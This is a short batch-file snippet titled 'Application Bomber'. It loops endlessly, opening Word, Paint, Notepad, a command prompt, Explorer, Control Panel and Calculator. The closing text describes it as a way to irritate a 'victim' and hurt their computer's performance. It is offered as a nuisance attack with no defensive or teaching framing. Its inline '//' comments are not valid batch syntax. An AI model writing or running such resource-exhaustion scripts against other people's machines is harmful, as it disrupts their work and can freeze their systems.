Application Bomber

@echo off // It instructs to hide the commands when batch files is executed

:x   //loop variable

start winword 

start mspaint  //open paint

start notepad

start write

start cmd //open command prompt

start explorer

start control

start calc // open calculator

goto x // infinite loop

This code when executed will start open different applications like paint,notepad,command prompt repeatedly, irritating victim and ofcourse affecting performance.